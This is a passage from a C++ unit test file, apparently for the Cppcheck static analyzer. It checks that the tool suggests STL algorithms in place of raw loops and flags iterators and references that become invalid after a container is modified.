loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(f(x));\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(x + 1);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_front(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::copy algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_front(f(x));\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_front(x + 1);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(v);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoIncrement() {\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n++;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" ++n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x++;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" ++x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n }\n\n void loopAlgoConditional() {\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" x = 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) Consider using std::replace_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" n += x;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" n += 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Consider using std::count_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" n++;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consider using std::count_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" x = x + 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" c.push_back(x);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:14]: (style) Consider using std::copy_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consider using std::all_of or std::none_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:22]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void f();\\n\"\n \"void foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" f();\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:22]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void f(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" f(x);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:22]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" b = true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" if(b) {}\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" b |= true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" b &= true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // There is no transform_if\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" c.push_back(x + 1);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" x++;\\n\"\n \" if (pred(x)) {\\n\"\n \" x = 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void f();\\n\"\n \"void foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" if(x) { return; }\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(int);\\n\"\n \"int f(const std::vector& v) {\\n\"\n \" int ret = 0;\\n\"\n \" for (const auto i : v)\\n\"\n \" if (!g(i))\\n\"\n \" ret = 1;\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int ret = 0;\\n\"\n \" for (const auto i : v)\\n\"\n \" if (i < 5)\\n\"\n \" ret = 1;\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (style) Consider using std::any_of, std::all_of, std::none_of algorithm instead of a raw loop.\\n\",\n \"\",\n errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int ret = 0;\\n\"\n \" for (const auto i : v)\\n\"\n \" if (i < 5) {\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector v0, v1;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void T::g() {\\n\"\n \" for (std::vector::const_iterator it0 = v0.cbegin(); it0 != v0.cend(); ++it0) {\\n\"\n \" std::vector::iterator it1;\\n\"\n \" for (it1 = v1.begin(); it1 != v1.end(); ++it1)\\n\"\n \" if (*it0 == *it1)\\n\"\n \" break;\\n\"\n \" if (it1 != v1.end())\\n\"\n \" v1.erase(it1);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:0]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool f(const std::set& set, const std::string& f) {\\n\" // #11595\n \" for (const std::string& s : set) {\\n\"\n \" if (f.length() >= s.length() && f.compare(0, s.length(), s) == 0) {\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"void f() {\\n\" // #12064\n \" for (const auto& animal : { \\\"cat\\\", \\\"bat\\\", \\\"tiger\\\", \\\"rat\\\" })\\n\"\n \" if (std::strlen(animal) > 4)\\n\"\n \" throw 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const std::vector& v, const std::vector& w, int n) {\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (v[i] == w[i])\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int n) {\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (g(i))\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(int);\\n\"\n \"bool f(const std::vector&v, int n) {\\n\"\n \" bool b{};\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" if (v[i] > 0 && g(i)) {\\n\"\n \" b = true;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoMinMax() {\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x > n ? x : n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x < n ? x : n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x > n ? n : x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x < n ? n : x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo(int m) {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x > m ? x : n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #9091\n \" int maxY = 0;\\n\"\n \" for (int y : v) {\\n\"\n \" if (y > maxY)\\n\"\n \" maxY = y;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int minY = 0;\\n\"\n \" for (int y : v) {\\n\"\n \" if (y < minY)\\n\"\n \" minY = y;\\n\"\n \" }\\n\"\n \" return minY;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int max = 0;\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" max = v[i] > max ? v[i] : max;\\n\"\n \" return max;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int min = 0;\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" min = v[i] < min ? v[i] : min;\\n\"\n \" return min;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n }\n\n void loopAlgoMultipleReturn()\n {\n check(\"bool f(const std::vector& v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i < 0)\\n\"\n \" continue;\\n\"\n \" if (i)\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"bool g(const std::vector& v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return true;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"bool g(const std::vector& v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(std::vector& v) {\\n\"\n \" for (auto& i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int& j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" j++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int& j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" int& k = j;\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" k++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int& j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" int* k = &j;\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" (*k)++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" int k = j;\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" k++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::all_of or std::none_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"class C {\\n\"\n \"private:\\n\"\n \" QString s;\\n\"\n \"public:\\n\"\n \" C(QString);\\n\"\n \"private:\\n\"\n \" void f() {\\n\"\n \" QVERIFY(QDir(s).exists());\\n\"\n \" }\\n\"\n \" void f(const QStringList& d) {\\n\"\n \" for (QString f : d)\\n\"\n \" QDir(s);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void invalidContainer() {\n check(\"void f(std::vector &v) {\\n\"\n \" auto v0 = v.begin();\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << *v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:22] -> [test.cpp:3:7] -> [test.cpp:1:26] -> [test.cpp:4:19]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"std::string e();\\n\"\n \"void a() {\\n\"\n \" std::vector b;\\n\"\n \" for (std::vector::const_iterator c; c != b.end(); ++c) {\\n\"\n \" std::string f = e();\\n\"\n \" std::string::const_iterator d = f.begin();\\n\"\n \" if (d != f.end()) {}\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" int *v0 = &v[0];\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << (*v0)[0] << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:15] -> [test.cpp:3:7] -> [test.cpp:1:26] -> [test.cpp:4:20]: (error) Using pointer to local variable 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v = {1};\\n\"\n \" int &v0 = v.front();\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:3:13] -> [test.cpp:3:17] -> [test.cpp:4:7] -> [test.cpp:5:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v = {1};\\n\"\n \" int &v0 = v[0];\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:4:7] -> [test.cpp:5:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" int &v0 = v.front();\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:2:17] -> [test.cpp:1:27] -> [test.cpp:3:7] -> [test.cpp:4:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" int &v0 = v[0];\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:1:27] -> [test.cpp:3:7] -> [test.cpp:4:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" std::vector *v0 = &v;\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << (*v0)[0] << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const std::vector * g(int);\\n\"\n \"void f() {\\n\"\n \" const std::vector *v = g(1);\\n\"\n \" if (v && v->size() == 1U) {\\n\"\n \" const int &m = v->front();\\n\"\n \" }\\n\"\n \"\\n\"\n \" v = g(2);\\n\"\n \" if (v && v->size() == 1U) {\\n\"\n \" const int &m = v->front();\\n\"\n \" if (m == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::vector g();\\n\"\n \"void f() {\\n\"\n \" std::vector x = g();\\n\"\n \" const std::string& y = x[1];\\n\"\n \" std::string z;\\n\"\n \" z += \\\"\\\";\\n\"\n \" z += y;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector v)\\n\"\n \"{\\n\"\n \" auto *cur = v.data();\\n\"\n \" auto *end = cur + v.size();\\n\"\n \" while (cur < end) {\\n\"\n \" v.erase(v.begin(), FindNext(v));\\n\"\n \" cur = v.data();\\n\"\n \" end = cur + v.size();\\n\"\n \" }\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9598\n check(\"void f(std::vector v) {\\n\"\n \" for (auto it = v.begin(); it != v.end(); it = v.erase(it))\\n\"\n \" *it;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9714\n check(\"void f() {\\n\"\n \" auto v = std::vector();\\n\"\n \" std::string x;\\n\"\n \" v.push_back(x.insert(0, \\\"x\\\"));\\n\"\n \" v.push_back(\\\"y\\\");\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9783\n check(\"std::string GetTaskIDPerUUID(int);\\n\"\n \"void InitializeJumpList(CString s);\\n\"\n \"void foo() {\\n\"\n \" CString sAppID = GetTaskIDPerUUID(123).c_str();\\n\"\n \" InitializeJumpList(sAppID);\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n // #9796\n check(\"struct A {};\\n\"\n \"void f() {\\n\"\n \" std::vector v;\\n\"\n \" A *a = new A();\\n\"\n \" v.push_back(a);\\n\"\n \" A *b = v.back();\\n\"\n \" v.pop_back();\\n\"\n \" delete b;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" A *a = new A();\\n\"\n \" v.push_back(a);\\n\"\n \" A *b = v.back();\\n\"\n \" v.pop_back();\\n\"\n \" delete b;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" std::shared_ptr a = std::make_shared();\\n\"\n \" v.push_back(a);\\n\"\n \" std::shared_ptr b = v.back();\\n\"\n \" v.pop_back();\\n\"\n \" delete b;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9780\n check(\"int f() {\\n\"\n \" std::vector vect;\\n\"\n \" MyStruct info{};\\n\"\n \" info.vect = &vect;\\n\"\n \" vect.push_back(1);\\n\"\n \" return info.ret;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9133\n check(\"struct Fred {\\n\"\n \" std::vector v;\\n\"\n \" void foo();\\n\"\n \" void bar();\\n\"\n \"};\\n\"\n \"void Fred::foo() {\\n\"\n \" std::vector::iterator it = v.begin();\\n\"\n \" bar();\\n\"\n \" it++;\\n\"\n \"}\\n\"\n \"void Fred::bar() {\\n\"\n \" v.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:7:44] -> [test.cpp:8:5] -> [test.cpp:12:7] -> [test.cpp:9:5]: (error) Using iterator to member container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"void foo(std::vector& v) {\\n\"\n \" std::vector::iterator it = v.begin();\\n\"\n \" bar(v);\\n\"\n \" it++;\\n\"\n \"}\\n\"\n \"void bar(std::vector& v) {\\n\"\n \" v.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:1:29] -> [test.cpp:2:44] -> [test.cpp:3:5] -> [test.cpp:7:7] -> [test.cpp:1:28] 